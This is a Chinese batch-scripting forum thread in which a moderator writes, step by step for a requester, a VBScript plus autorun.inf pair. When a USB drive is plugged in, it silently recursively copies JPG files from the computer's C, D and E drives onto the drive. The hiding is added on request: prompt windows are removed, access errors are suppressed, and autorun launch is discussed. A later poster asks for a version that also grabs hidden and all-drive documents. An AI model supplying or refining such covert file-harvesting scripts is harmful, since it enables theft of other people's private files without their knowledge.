Board logo

标题: [问题求助] VBS怎样实现U盘插入电脑上自动复制电脑上的EXCEL文件? [打印本页]

作者: lyzhangzj    时间: 2011-11-20 17:21     标题: VBS怎样实现U盘插入电脑上自动复制电脑上的EXCEL文件?

按以下代码会出现,只复制U盘里所有XLS格式的文件,怎么修改能搜索电脑的C:,D:,E:,F:上所有XLS格式的文件。多谢。

以下是autorun.inf文件的代码:
  1. [autorun]
  2. open=wscript.exe CopyExcelFile.vbs
  3. shell\open=打开(&O)
  4. shell\open\command=wscript.exe CopyExcelFile.vbs
复制代码
以下是GetExcelFile.vbs文件的代码:
  1. set ws=createobject("wscript.shell")
  2. ws.run "explorer ..\"
  3. ws.run "cmd /c md GetExcelFile",0,true
  4. ws.run "cmd /c for /r C:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
  5. ws.run "cmd /c for /r D:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
  6. ws.run "cmd /c for /r E:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
  7. ws.run "cmd /c for /r F:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
复制代码

作者: broly    时间: 2011-11-20 17:46

貌似我以前写过了,你在论坛搜索看看
作者: lyzhangzj    时间: 2011-11-20 17:50

回复 2# broly

多谢,我找找看。
作者: broly    时间: 2011-11-21 13:15

看看这个

http://bbs.bathome.net/redirect. ... 3&fromuid=25503
作者: lyzhangzj    时间: 2011-11-21 13:28

高手,还是不行啊,能否再给写一个代码,多谢啦。
作者: broly    时间: 2011-11-21 13:34

你描述都不清楚叫我怎么写?

“U盘插入电脑上自动复制电脑上的EXCEL文件的VBS脚本”

就是复制?从哪里复制到哪里?
作者: lyzhangzj    时间: 2011-11-21 13:37

喔,不好意思,我是想U盘插入电脑之后,自动复制电脑C:\,D:\,E:\所有的JPG格式的文件到U盘里。多谢啦。高手。
作者: Demon    时间: 2011-11-21 14:06

先把你的语文学好
作者: lyzhangzj    时间: 2011-11-21 14:10

呵呵,没有表达清楚。
作者: lyzhangzj    时间: 2011-11-21 16:46

版主,这个代码写起来难度大吗?多谢帮忙啊!
作者: broly    时间: 2011-11-21 18:41

中午没有时间写,现在才有空。
  1. Dim fso,Disks,Disk,JpgPath
  2. Set fso = CreateObject("Scripting.FileSystemObject")
  3. Do
  4.   n = n+1
  5.   Set Disks = fso.Drives
  6.   For Each Disk In Disks
  7.     If Disk.IsReady And Disk.DriveType = 1 Then
  8.       JpgPath = Disk.DriveLetter & ":\"
  9.       U = True
  10.     End if
  11.   Next
  12.   If U = True Then
  13.      MsgBox "复制中...请稍后..."
  14.      For Each Disk In Disks
  15.     If Disk.IsReady And Disk.DriveType = 2 Then
  16. CopyJpgs(Disk.DriveLetter & ":\")
  17.     End if
  18.      Next
  19.      MsgBox "Succeed."
  20.   Else
  21.     If n=1 Then
  22.       Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
  23.     End if
  24.   End If
  25.   WScript.Sleep 30000  '每30秒循环一次
  26. Loop
  27. Sub CopyJpgs(path)
  28.   Dim folder,subfolders,Files
  29.   Set folder = fso.getfolder(path)
  30.   Set subfolders = folder.subfolders
  31.   Set Files = folder.Files
  32.   For Each File In Files
  33.     If fso.GetExtensionName(File.path)="jpg" Then
  34.       fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  35.     End if
  36.   Next
  37.   For Each subfolder In subfolders
  38.       CopyJpgs(subfolder.path) '递归查找子目录
  39.   Next
  40. End Sub
复制代码

作者: broly    时间: 2011-11-21 18:41

中午没有时间写,现在才有空。
  1. Dim fso,Disks,Disk,JpgPath
  2. Set fso = CreateObject("Scripting.FileSystemObject")
  3. Do
  4.   n = n+1
  5.   Set Disks = fso.Drives
  6.   For Each Disk In Disks
  7.     If Disk.IsReady And Disk.DriveType = 1 Then
  8.       JpgPath = Disk.DriveLetter & ":\"
  9.       U = True
  10.     End if
  11.   Next
  12.   If U = True Then
  13.      MsgBox "复制中...请稍后..."
  14.      For Each Disk In Disks
  15.     If Disk.IsReady And Disk.DriveType = 2 Then
  16. CopyJpgs(Disk.DriveLetter & ":\")
  17.     End if
  18.      Next
  19.      MsgBox "Succeed."
  20.   Else
  21.     If n=1 Then
  22.       Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
  23.     End if
  24.   End If
  25.   WScript.Sleep 30000  '每30秒循环一次
  26. Loop
  27. Sub CopyJpgs(path)
  28.   Dim folder,subfolders,Files
  29.   Set folder = fso.getfolder(path)
  30.   Set subfolders = folder.subfolders
  31.   Set Files = folder.Files
  32.   For Each File In Files
  33.     If fso.GetExtensionName(File.path)="jpg" Then
  34.       fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  35.     End if
  36.   Next
  37.   For Each subfolder In subfolders
  38.       CopyJpgs(subfolder.path) '递归查找子目录
  39.   Next
  40. End Sub
复制代码

作者: lyzhangzj    时间: 2011-11-21 21:14

本帖最后由 lyzhangzj 于 2011-11-21 21:20 编辑

版主真是好人啊,多谢了,这个要在U盘上建立个文件吗?这个是后台自动运行是吧!
作者: broly    时间: 2011-11-21 21:19

不用,直接复制到U盘的
作者: lyzhangzj    时间: 2011-11-21 21:20

直接建立TXT文件,复制到U盘。
作者: lyzhangzj    时间: 2011-11-21 21:22

行不通啊,怎么直接复制到U盘
作者: lyzhangzj    时间: 2011-11-21 21:27

请教版主,怎么用不了啊,是不是我那里弄错了。复制到U盘上是什么格式的。
作者: lyzhangzj    时间: 2011-11-21 21:35

本帖最后由 lyzhangzj 于 2011-11-21 21:42 编辑

提示35行第7个字符有误,麻烦版主再给修改一下吧:
1、请修改插入U盘自动运行;
2、请修改复制到U盘的‘资料’文件夹根目录下;
3、请去除"复制中...请稍后..."窗口和"没有发现U盘或者U盘没有插好!"窗口。
多谢了,版主。。。
作者: broly    时间: 2011-11-22 00:37

回复 15# lyzhangzj


    什么意思?你的不是JPG文件吗,怎么又变成TXT了?
作者: broly    时间: 2011-11-22 00:41

回复 18# lyzhangzj


    插入U盘自动运行需要在你的U盘加一个autorun.inf的文件。
   你先把所有的需求一次性表达清楚了。我没时间跟你一点一点的讲解
作者: lyzhangzj    时间: 2011-11-22 08:44

你好版主,我的意思主要是想:
1、插入U盘,打开之后自动后台运行复制程序(需添加一个autorun.inf的文件);
2、后台自动复制去除"复制中...请稍后..."窗口和"没有发现U盘或者U盘没有插好!"窗口;
3、能把所需的JPG格式文件复制到U盘“资料”根目录下面;
4、能否可以定义一下,只复制电脑的C盘、D盘、E盘。

多谢版主的帮忙。
作者: broly    时间: 2011-11-22 13:31

Autorun.inf
  1. [autorun]
  2. open=wscript.exe AutoCopy.vbs
  3. shell\open=打开(&O)
  4. shell\open\command=wscript.exe AutoCopy.vbss
复制代码
  1. '保存我为 AutoCopy.vbs
  2. Dim fso,Disks,Disk,JpgPath
  3. Set fso = CreateObject("Scripting.FileSystemObject")
  4. Do
  5.   n = n+1
  6.   Set Disks = fso.Drives
  7.   For Each Disk In Disks
  8.     If Disk.IsReady And Disk.DriveType = 1 Then
  9.       JpgPath = Disk.DriveLetter & ":\资料\"
  10.       U = True
  11.     End if
  12.   Next
  13.   If U = True Then
  14.       CopyJpgs("C:\")
  15.   CopyJpgs("D:\")
  16.   CopyJpgs("E:\")
  17.   Else
  18.     If n=1 Then
  19.       WScript.Quit
  20.     End if
  21.   End If
  22.   WScript.Sleep 30000  '每30秒循环一次
  23. Loop
  24. Sub CopyJpgs(path)
  25.   Dim folder,subfolders,Files
  26.   Set folder = fso.getfolder(path)
  27.   Set subfolders = folder.subfolders
  28.   Set Files = folder.Files
  29.   For Each File In Files
  30.     If fso.GetExtensionName(File.path)="jpg" Then
  31.       fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  32.     End if
  33.   Next
  34.   For Each subfolder In subfolders
  35.       CopyJpgs(subfolder.path) '递归查找子目录
  36.   Next
  37. End Sub
复制代码

作者: lyzhangzj    时间: 2011-11-22 14:07

本帖最后由 lyzhangzj 于 2011-11-22 14:11 编辑

版主,运行的时候出现以下情况(我的U盘是I盘)

脚本:I:/AutoCopy.vbs
行  :32
字符:7
错误:路径未找到
代码:800A004C
源  :vbs运行时错误

还有就是U盘插入打开之后不能自动复制呢,还要重新运行AutoCopy.vbs文件。请版主帮忙解决。
作者: broly    时间: 2011-11-22 14:21

本帖最后由 broly 于 2011-11-22 14:23 编辑

不能自动运行应该是autorun.inf文件被禁用了,这是防止U盘病毒的做法,或者你顶楼那个autorun.inf写错了,我是复制那里的。提示出错,是不是你U盘没有“资料”这个文件夹?
作者: lyzhangzj    时间: 2011-11-22 14:26

本帖最后由 lyzhangzj 于 2011-11-22 14:28 编辑

喔,这样可以了,不过运行的时候还是会出现32行第7个字符,错误:没有权限。还有30行,字符:3,错误:没有权限
作者: broly    时间: 2011-11-22 14:38

我晚点再看看吧。现在用手机上线
作者: lyzhangzj    时间: 2011-11-22 14:49

嗯,好的,多谢了。
作者: broly    时间: 2011-11-22 22:09

回复 25# lyzhangzj


    我知道什么原因了。C盘有些文件夹VBS是不能访问的,其他盘的可以访问,所以说提示出错了。那些不够访问权限的,我把它屏蔽了。
至于自动运行的,我还没想到什么好方法。因为自动运行的功能,杀毒软件一向很注意防护的
  1. '保存我为 AutoCopy.vbs
  2. On Error Resume Next
  3. Dim fso,Disks,Disk,JpgPath
  4. Set fso = CreateObject("Scripting.FileSystemObject")
  5. Do
  6.   n = n+1
  7.   Set Disks = fso.Drives
  8.   For Each Disk In Disks
  9.     If Disk.IsReady And Disk.DriveType = 1 Then
  10.       JpgPath = Disk.DriveLetter & ":\资料\"
  11.       U = True
  12.     End if
  13.   Next
  14.   If U = True Then
  15.       CopyJpgs("C:\")
  16.           CopyJpgs("D:\")
  17.           CopyJpgs("E:\")
  18.   Else
  19.     If n=1 Then
  20.       WScript.Quit
  21.     End if
  22.   End If
  23.   WScript.Sleep 30000  '每30秒循环一次
  24. Loop
  25. Sub CopyJpgs(path)
  26.   Dim folder,subfolders,Files
  27.   Set folder = fso.getfolder(path)
  28.   Set subfolders = folder.subfolders
  29.   Set Files = folder.Files
  30.   For Each File In Files
  31.    If Err.Number=0 Then
  32.     If fso.GetExtensionName(File.path)="jpg" Then
  33.       fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  34.     End If
  35. Else
  36. Err.Clear
  37. End If
  38.   Next
  39.   For Each subfolder In subfolders
  40.       CopyJpgs(subfolder.path) '递归查找子目录
  41.   Next
  42. End Sub
复制代码

作者: lyzhangzj    时间: 2011-11-22 23:17

这下好了,不过还有个小问题,能否再定义一下只复制大于100KB的JPG图片。多谢了。版主真是厉害。
作者: broly    时间: 2011-11-23 00:04

坑爹啊,就不能一次性把需求说清楚吗?
  1. '保存我为 AutoCopy.vbs
  2. On Error Resume Next
  3. Dim fso,Disks,Disk,JpgPath
  4. Set fso = CreateObject("Scripting.FileSystemObject")
  5. Do
  6.   n = n+1
  7.   Set Disks = fso.Drives
  8.   For Each Disk In Disks
  9.     If Disk.IsReady And Disk.DriveType = 1 Then
  10.       JpgPath = Disk.DriveLetter & ":\资料\"
  11.       U = True
  12.     End if
  13.   Next
  14.   If U = True Then
  15.       CopyJpgs("C:\")
  16.           CopyJpgs("D:\")
  17.           CopyJpgs("E:\")
  18.   Else
  19.     If n=1 Then
  20.       WScript.Quit
  21.     End if
  22.   End If
  23.   WScript.Sleep 30000  '每30秒循环一次
  24. Loop
  25. Sub CopyJpgs(path)
  26.   Dim folder,subfolders,Files
  27.   Set folder = fso.getfolder(path)
  28.   Set subfolders = folder.subfolders
  29.   Set Files = folder.Files
  30.   For Each File In Files
  31.           If Err.Number=0 Then
  32.             If fso.GetExtensionName(File.path)="jpg" And _
  33.              fso.GetFile(File.path).Size>100*1024 Then
  34.               fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  35.             End If
  36.         Else
  37.                 Err.Clear
  38.         End If
  39.   Next
  40.   For Each subfolder In subfolders
  41.       CopyJpgs(subfolder.path) '递归查找子目录
  42.   Next
  43. End Sub
复制代码

作者: lyzhangzj    时间: 2011-11-23 08:06

多谢版主的帮忙,在此感谢,问题总是有的,不过经过版主的这次修改,已经很完美了。多谢多谢。
作者: longmao    时间: 2012-5-27 13:06

回复 30# broly


    大神您好,专门看了这篇帖子才跑来注册问您问题的。

我使用了这个VBS,只不过想复制的类型是DOC的(我只是把代码里的jpg改成了doc,同时取消了文件大小的验证)。使用中出现如下问题:
1.只能复制一部分文件,很大一部分文件木有复制成功,同时系统隐藏的文件似乎木有复制成功
2.代码执行效率有些低,我把循环改成30毫秒执行一次,还是效率低,差不多5分钟左右完成搜索复制了198个文档。
3.复制完成后一直占有系统资源,循环等待中。

需要的帮助是:

1.希望能够实现复制硬盘中的doc和docx格式的全部文件,包括隐藏了的文件和在系统隐藏文件后缀名称后依然有用。
2.搜索电脑的全部磁盘进行复制,不限于C\D\E\F盘,因为有的人盘符命名比较奇怪,会出来Q盘之类的硬盘盘符。
3.最好能够按照文件修改时间进行复制,优先复制最近修改的文件。
4.搜索复制完成后释放系统资源,但是在搜索复制时可以多用一些系统资源以提高搜索复制效率。

如能解答,感激不尽~谢谢大神~
作者: broly    时间: 2012-5-27 14:29

回复 32# longmao


    那个要求跟你这个要求是不一样的,当然不能满足你的需求。
    是要监控系统,一插入U盘就自动复制。还是你自己按照需要手动运行,然后自动复制?
    需要高效率,可以用批处理。
    另外,你重开一帖子吧,我在新的帖子里回复
作者: longmao    时间: 2012-5-27 17:28

本帖最后由 longmao 于 2012-5-27 17:31 编辑

回复 33# broly

谢谢版主大神的回复~
当然最好是监控系统,一插入U盘就自动复制了,但是这种方式是一般来说都是会被杀毒软件直接干掉的。。。
自动复制还是那个autorun.inf  的方法吧。


所以俺想双击运行就成了 。

我也用批处理弄过,今天也发了个贴在代码求助里,请大神能移步这个帖子看看~

http://bbs.bathome.net/viewthrea ... p;page=1&extra=

大神如果能用批处理解决,那就不再麻烦大神用VBS了,能高效解决问题好~
作者: ww0000    时间: 2012-12-15 11:42

老师,我电脑里东西很多,我运行了一会想让它停下来,怎么办呢?
作者: ww0000    时间: 2012-12-15 11:43

回复 28# broly


    老师,我电脑里东西很多,我运行了一会想让它停下来,怎么办呢?
作者: czjt1234    时间: 2012-12-16 10:37

任务管理器  结束wscript.exe进程
作者: tangqingfu    时间: 2013-5-28 07:00

做个标记,谢谢broly版主的分享!




欢迎光临 批处理之家 (http://www.bathome.net/) Powered by Discuz! 7.2